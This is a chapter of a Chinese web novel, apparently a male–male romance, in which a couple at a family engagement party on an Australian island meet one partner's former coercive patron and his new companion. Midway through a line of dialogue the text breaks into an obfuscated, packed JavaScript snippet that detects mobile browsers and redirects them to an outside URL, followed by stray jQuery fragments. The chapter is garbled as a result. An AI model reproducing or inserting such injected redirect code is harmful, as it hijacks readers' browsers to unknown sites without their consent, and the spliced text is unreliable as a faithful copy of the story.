62.第 62 章

作品:《有且仅有

    之所以是订婚典礼,是因为正式的婚礼要等到金城再办。傅家的大本营是在金城,亲朋好友世家往来还是金城为多。但薛家是土澳本地豪族,因此选了悉尼附近的一个私人海岛举办订婚仪式。


    澳洲十二月进入夏季,正是阳光灿烂,温度适宜的好时候,碧蓝的海水一望无际,成群的海鸥在海风中翱翔,海岛上的各色常绿乔木也显得分外茂盛。


    海岛婚礼近几年在澳洲的富豪圈层中比较流行,因为岛屿众多,既能保证私密性,又很便于营造仪式感。整个现场布置得美轮美奂,交响乐队从下午开始就演奏着欢快轻盈的舞曲,醉人的音乐萦绕整个海岛。


    专门辟出的平整海滩上,是由鲜花构筑的童话世界,各色拱门、花墙,缠绕着轻柔的丝幔,白色的餐椅、餐桌,有整齐排列的,也有零散摆放的,供客人们自行选择。


    十数个烧烤架错落排开,日式料理台围绕一侧,戴着白色帽子和手套的厨师们为前来祝贺的宾客源源不断的供应着美食。冰镇的香槟桶四处摆放,侍从执着酒壶不断穿梭在人群中,随时为空了的酒杯续上美酒。


    傅廷昀和薛婵娟这会都穿着随意,准新娘穿着齐臀短裤和热辣小背心,戴了一个俏皮的白色头纱,灿烂爽朗的笑容让她看起来十分美丽,她和准新郎站在花墙外迎接宾客。要等傍晚的订婚仪式上他们才会更换更为正式的礼服。


    宾客大部分乘坐傅薛两家准备的游艇登岛,也有一些自驾游艇或者水上摩托过来的,一律都是清凉的度假装扮。甚至有不少穿着比基尼的美女,估计是准新娘的同学朋友,她们三五成群的在海滩嬉戏、游泳、浮潜。有的头上还插着一两朵鲜花,为庆祝的氛围增添了别致的气息。


    男士们也大都穿着沙滩裤,有的还裸着上半身,年纪稍微大一点如傅明章就会穿一件花衬衫。傅太也穿着休闲,她对这种跟国内截然不同的西式作风还是不太能接受,端着杯香槟,满场子找她的小儿子。


    傅廷恩和曾闰成早躲到了人少的沙滩边,吹着海风坐在藤椅上,看落日的余晖逐渐铺满整个海面。


    两个人仍是穿着情侣款的沙滩裤,但曾闰成的花衬衫里还穿了一件白色背心,是他一贯的矜持作派。傅廷恩却是毫无顾忌的敞着扣子露出结实的胸膛。


    两人戴着同款墨镜,曾闰成半躺在遮阳伞下,他把香槟倒在带吸管的饮料杯里,时不时的抿上一口,一脸的惬意。他原本担心会是那种星级酒店里的西装革履、觥筹交错,没想到是这种轻松随意的氛围,这令他倍感愉悦。


    傅廷恩那边的遮阳伞收起来了,这个季节的太阳还不算很热烈,他一只手枕在脑后,嘴里咬着根不知道从哪里揪来的野草,敞开胸口晒太阳。另一只手时不时摸一摸一旁曾闰成的小腿,捏一捏,掐一掐。他手下不停歇,曾闰成忍不住拿脚轻踢他一下,“别闹。”


    他却一把捉住那脚掌,掰到嘴边,在脚背上轻啄了一下,又对着脚心哈气,曾闰成被他弄得无语,“你快收敛点吧,等下让叔叔阿姨看到……”


    傅廷恩一个翻身坐起来,“看到也不会怎么样,闰成,你是不是很喜欢这种格调的订婚party?将来我们也办这种好不好?”阳光下他的皮肤被晒得微红,衬得一口整齐的牙齿越发白亮。


    曾闰成被他吓一跳,“我们办?我们两个男的……”


    “男的怎么了?澳洲这边同性办婚礼一点也不少见,我圣诞假期复活节假期过来,回回都碰到。”傅廷恩开始敲边鼓,“只要你肯嫁给我,我一定为你准备一场别致又浪漫的婚礼……”


    曾闰成愣住,他还从来没有想过这个问题。傅廷恩虽然觉得眼下不是求婚的好时机,但是既然提起了这个话题,自然要先铺垫一下,“闰成,你不想跟我一直在一起吗……”


    曾闰成扶了扶墨镜,抿一口香槟,制止他往下说:“你先搞定你爸再说。”


    傅太和傅明章以及小叔傅明琛提前两天到的澳洲,虽然没有多说什么,但是傅明章的脸色一直不太好看,没有像上次毕业典礼前见面一样,热络的跟曾闰成攀谈,但也没有很失礼,显然是已经知道了这件事情,正处于生闷气阶段。


    傅明琛跟傅家两兄弟关系一向要好,又常年在国外,倒没有很惊讶的就接受了,“难怪你不理那些小女朋友了。”又冲傅廷恩挤眉弄眼,“到哪里找的这么漂亮的男朋友?”全然没有长辈的做派。


    傅廷恩看着躲在遮阳伞下的曾闰成,他的男朋友确实是漂亮,曾闰成的皮肤是那种天生的冷白,比一般女生都要白,特别不禁晒,太阳稍微烤一烤就会发红,这会子在伞底下发着莹润的光,跟牛奶冰淇淋似的,他克制不住的起身坐到他躺椅上去,想要亲一亲,舔一舔,“你放心好了,我小叔叔都答应了,会帮我做我爸的思想工作……”


    一阵由远及近的破浪声打断了傅廷恩的游说,一艘游艇停在了离他们不远的海滩边,水手跳下来架起浮桥,一行人正在靠岸。


    当先走下来的那道身影让原本只是转目一瞥的傅廷恩落下了笑容,曾闰成显然也看到了,他取下墨镜,喃喃道:“他怎么会来这里……”


    傅廷恩辨认着那一行人,看到跟在李景麟身后的女士,挽着黑发,圆圆脸盘,眉眼弯弯的,盛载着笑意,突然想起来,“大嫂她们家好像跟王家是姻亲,她应该是来参加订婚典礼的。闰成,你别担心……”他安抚的轻拍曾闰成的手臂。


    果然,那一行人从他们身侧不远处走过,并没有停留。倒是队尾的一个陌生男子,稍稍驻足,朝他们的方向看了两眼。


    曾闰成看着那个高大身影,他与一旁的女子看上去挺般配,都穿着真丝的套装,戴着礼帽和墨镜,一副东南亚富商装扮,后面跟着一堆仆从,手里捧着礼盒,看样子真的是来参加订婚典礼的。


    曾闰成稍稍松了口气,自从离开金城,他刻意的回避跟李景麟有关的一切,傅廷恩更不会提及有可能让他产生一丝不快的话题。他已经很久没有再想起这个人了,随着这道身影的出现,脑海里某些尘封的记忆开始翻搅。


    凭心而论,他始终觉得李景麟是有恩于他的,在那个惶恐无措的当口,他提出的交易的确解了他的燃眉之急,也确实让曾闰霞的生命得以延续,就连克利夫兰的几个医生都表示这个病症这种分型的患者能存活这个时限,已属目前医学手段能达到的极限。


    可是恩情不是爱情,作为一个成年人,他能分辨清楚。或许,如果没有李景麟,他不会很自然的接受男同的身份,也不会明白傅廷恩于他到底有多么珍贵。在强制与尊重,占有与珍惜之间,谁都会选择后者。


    他也不认为李景麟对他有什么特别的感情,交易达成后,李景麟从未对他有任何情感方面的表达,只有欲望的宣泄,从来都是他要他给,不想给也得给。


    除了小木屋那次,他逼曾闰成说爱他,可那是在床上,无非就是想增加点情趣。


    但曾闰成对他的偏执与掌控欲是有了解的,所以他求恳脱身后,尽可能的避免再与李景麟见面,也避免再提起与这个人相关的话题,他想随着时间的推移彻底的淡忘与这个人有关的一切。


    完全没有想到会在这样的场合仓促遇见,他不安的起身,傅廷恩也跟着站起,他牵过曾闰成的手,只觉得他指尖冰凉,他十指交叉的将他握在手心里,企图带给他一丝暖意,曾闰成感受到他的安慰,握他的手紧了紧,“廷恩,我们去那边走走。”


    两个人拖着手顺着海滩一直往前走,柔软的细沙镌刻着两人的脚印。曾闰成没有开口,只是微低着头,傅廷恩绞尽脑汁,想要说一些安慰的话语,又觉得徒劳,毕竟是四年有余,不是四个月,李景麟在曾闰成的生命里的确留下了难以磨灭的印记。


    傅廷恩想起那晚的惊鸿一瞥,还有那些青青紫紫的痕迹,心里跟猫抓一样,恨不得跟那个人来一场单挑就好。


    一场远亲的订婚典礼而已,哪里用得着他亲自到场?难道是存心来给他们添堵?他脑海里念头百转千回,一张脸也是阴晴不定。


    曾闰成倒是逐渐冷静下来了,李景麟既然让他走了,自然是代表这事翻篇了,人死债消,小霞都已经不在了,他也开始了新的生活,如果一味沉溺过去,又怎么能够迎接将来?


    反倒是傅廷恩,曾闰成深感这一路其实让他受了不少委屈。虽然从肉|体层面,他知道他不会太介意,就像他也不会介意他之前有过男朋友甚至女朋友。


    但是从情感上,他是亲口承认过自己喜欢李景麟的,即使当时的想法是想让傅廷恩彻底死心远离这种夹缠不清的关系。


    在傅廷恩心里恐怕认为自己对李景麟始终有一丝情愫,他觑着傅廷恩的面色,两人相恋日深,瞥一眼对方的脸色就知道他心中所想。


    “廷恩,”曾闰成停下脚步,面朝着大海的方向,海风吹动他的额发,“也许在人生的某些时刻,不管对姚子琪还是李景麟,我是有过片刻的悸动。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736885|141360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但是廷恩,”他转头,一双黑白分明的眼睛凝视着傅廷恩,目光缱绻,“我只爱过你。”


    傅廷恩大受震动,虽然两个人心意相通,但除了医院那一次,曾闰成极少言爱,他是这种内敛的性格。哪怕两人在床上情浓如火,傅廷恩一遍一遍的在他耳边诉说着爱意,他也很少用言语来回应。


    这是他第一次看着他明确的说爱他,他突然间有种想要流泪的冲动,极力抑制住鼻头的酸涩,扯开一抹微笑,“不能说爱过,要说,”他拉着他的手放在胸口,让他感受他心脏的跳动,“I love you with all my heart.”


    曾闰成愣住,片刻之后也拉他的手放在自己胸口,重复了一遍:“I love you with all my heart.”(我全心全意的爱着你)


    两个人相视而笑,牵着手一路狂奔,跑到海岛背面僻静的所在,一树蓝楹花盛开的很热烈,恍若一个蓝紫色的梦境,厚实的尤加利叶编织成密实的树墙。


    傅廷恩将曾闰成压在树下的石凳上,热烈的吻他。他脱下身上的衬衫垫在他脑后,赤裸着上身将他完全的覆盖。他的唇舌急切又温柔的在他的口腔里索求,曾闰成闭上眼睛,温顺的任他采撷,不断的给予回应,安抚着他的焦躁。


    两人在和煦的山风中接吻,用双唇传递着对彼此的爱意,丝毫没有留意到细密的树墙后嵌上了一双窥视的眼睛,因为他们亲密的举止,而逐渐漫上了狰狞的血色。


    他们在仪式开始前回到了海滩,傅太先看见了他们,赶上来一手拖一个,“廷恩,闰成,你们去哪里了?也不帮哥嫂迎一下客人。”


    傅太就像傅廷恩预料的那样,对他俩的关系接受得比较快,尤其在傅廷昀纠正某项认知之后,她对曾闰成越发的亲热起来。她牵着他们过去花墙边,“快来,跟几个叔伯打声招呼。”


    他俩没想到过了一个多小时,李景麟竟然还没走,他戴着墨镜,手里端着杯香槟,仍然是人群中出类拔萃的存在,傅明章、傅明琛以及薛家几个亲眷都围绕一旁。


    傅廷恩与曾闰成对视一眼,看到了他眼眸深处的那一丝担忧,他轻怕他手背,示意他在原地等候,当着众人的面,他是晚辈,只能向李景麟敬酒,“李叔叔好久不见。”他微弯了一下腰,但神色间是一片清明,他已经被曾闰成安抚住,反正闰成爱他也属于他,过去的事就让它过去吧。


    李景麟与傅廷恩碰杯,又向身侧的傅明章道,“雏凤清于老凤声,傅家两位公子都这么出色,真是后继有人。”握杯的手伸出一根手指,向曾闰成的方向指了指,“这位是?”


    傅明章略带难堪的垂下眼眸,傅太却言笑晏晏的牵起曾闰成的手,“这是我们家廷恩的男朋友,闰成,这是李总。”


    曾闰成抿了抿唇,只能倾杯过去,“久仰。”


    李景麟隐在墨镜后的眼眸看不清楚神色,声音倒是一如既往的冷淡低沉,“幸会。”


    傅廷恩走过来挽住曾闰成肩膀,“您几位慢聊,我们去吃点东西。”两人相携着离开,都微微松了口气,傅廷恩倒不是怕别的,他既然把曾闰成介绍给了家人,当然希望能和睦相处。如果李景麟抖露曾经的关系,他怕曾闰成会觉得尴尬,估计就不会再愿意跟他的家人来往。


    能这样风平浪静的揭过当然是最好的,两人走到白色餐椅前坐下,傅廷恩去日料台拿了一盘虾蟹,洗净了手,剥给曾闰成吃。


    一道身影晃悠到了他们跟前,是个陌生男子,二十出头的年纪,皮肤白皙,长相英俊,他摘下墨镜,盯着曾闰成看。


    傅廷恩不悦的皱眉,他已经笑眯眯的开口:“宋老师说我跟你长得很像,我觉得一点也不像,”他的目光在曾闰成面庞上流转了几圈,“不过你比画像上还是要好看一点。”


    他没有介绍自己,但言语间已经表露了身份,正是李景麟带来的那一行人里,看向他们的那一位。他长得温润秀气,眉眼灵动间还透着点不谙世事的单纯,确实是李景麟的品味。


    “李叔叔说你已经是过去式了,画像都收进库房啦,”他重新戴上墨镜,又瞥一眼傅廷恩,“你都有这么帅气的男朋友了,可不要回头跟我抢李叔叔哦,我是不会让给你的。”他也不等两人说话,得意的“哈”笑一声,晃悠着走开了。


    傅廷恩和曾闰成对视一眼,都觉得这人要么是单纯要么就是脑子有毛病要么两者兼具,但也不约而同放下了心。